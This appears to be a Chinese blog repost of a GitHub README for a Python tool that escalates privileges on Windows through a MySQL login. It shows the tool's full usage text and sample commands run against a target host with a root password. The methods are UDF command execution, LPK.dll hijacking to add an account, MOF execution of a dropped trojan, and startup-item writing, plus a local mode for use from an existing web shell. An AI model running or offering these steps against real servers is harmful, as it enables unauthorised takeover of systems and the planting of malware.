mysql udf python_GitHub - huffery/Python_FuckMySQL: Using To MySQL Elevate Privileges.

python-promoting-privileges

1.自动导出你的backdoor和mof文件,

2.自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权

3.导出LPK.dll文件,劫持系统目录提权

4.写启动项提权

工具仅做方便使用,技术含量几乎没有。

用py脚本写的,也打包成exe了,个人用的还算顺手。

用法:

promote:PythonDemo v5est0r$ python root.py

__ _ __ __ ____ ___ _

/ _|_ _ ___| | _| \/ |_ _/ ___| / _ \| |

| |_| | | |/ __| |/ / |\/| | | | \___ \| | | | | Author:v5est0r

| _| |_| | (__|

|_| \__,_|\___|_|\_\_| |_|\__, |____/ \__\_\_____|

|___/

usage: root.py [-h] [-a HOST] [-o PORT] [-u USER] [-p PASSWD] [-e EXECUTE]

[-m METHOD]

fuckmysql

optional arguments:

-h, --help show this help message and exit

-a HOST, --host HOST MySQL server ip

-o PORT, --port PORT MySQL Port

-u USER, --user USER mysql UserName

-p PASSWD, --passwd PASSWD

mysql password

-e EXECUTE, --execute EXECUTE

command for UDF to execute

-m METHOD, --method METHOD

elevate method,eg:udf/mof/lpk/st

7a82fd479341ca7269a95b1786f8799f.png

我在虚拟机演示打包好的exe远程提权,坛子的老哥们都是明白人,我就不多说了,直接上图:

默认UDF提权,也可以-m udf指定方式,-e ipconfig指定执行的cmd,默认执行whoami:

root.exe -a 192.168.1.105 -p root -e "ver&whoami" -m udf

57873bff0c66bd154adc6fb4cc03b117.png

有时候UDF无效,我们使用LPK.dll劫持:

root.exe -a 192.168.1.105 -p root -m lpk

f8d07997a15c87919362d821f3ceae21.png

验证一下lpk是否加上账户:

b01404ddc61e45d95cc95bf617cadd83.png

有时候UDF和LPK都无效,目标是windows2003,还有机会,可以MOF:

把你的木马的hex复制到同目录的hex.txt就行了,程序会导出木马到指定目录,并用mof执行。

256aaaaa238eb45357400a53bb4c8421.png

每隔几秒就运行一次木马,有点尴尬,如何停止mof老司机都知道,我就不多说了。

166425a45fb8ec115dd4d2c6740543df.png

有时候UDF和LPK都无效,那我们只能尝试被动写启动项:

root.exe -a 192.168.1.105 -p root -m st

659d082f27996baab790d15f39bc040f.png

可能存在路径编码问题写不成功,你可以根据提示,用本地的MySQL连接上去,执行。

18a323ac2fcea4e30c075034ad768867.png

当然还有情况是远程提权,UDF不能创建plugin目录,网上流传的ADS流创建目录我是没有成功过,工具里加了ADS流创建目录的代码,那么我们删掉plugin目录,再远程试试:

298b9598e2376829df6d29859ad980fb.png

如上图,那就不行了,那么这种情况下,如果你有shell,在shell里的本地模式执行,就不一样了。

本地模式:

一般来说,php一般权限都是可以创建目录的,此处必须指定主机为localhost或127.0.0.1才会调用本地模式:

root.exe -a localhost -p root -e "ver&whoami" -m udf

bded248e5c5f07a4fe3a25ccfdbda5b4.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值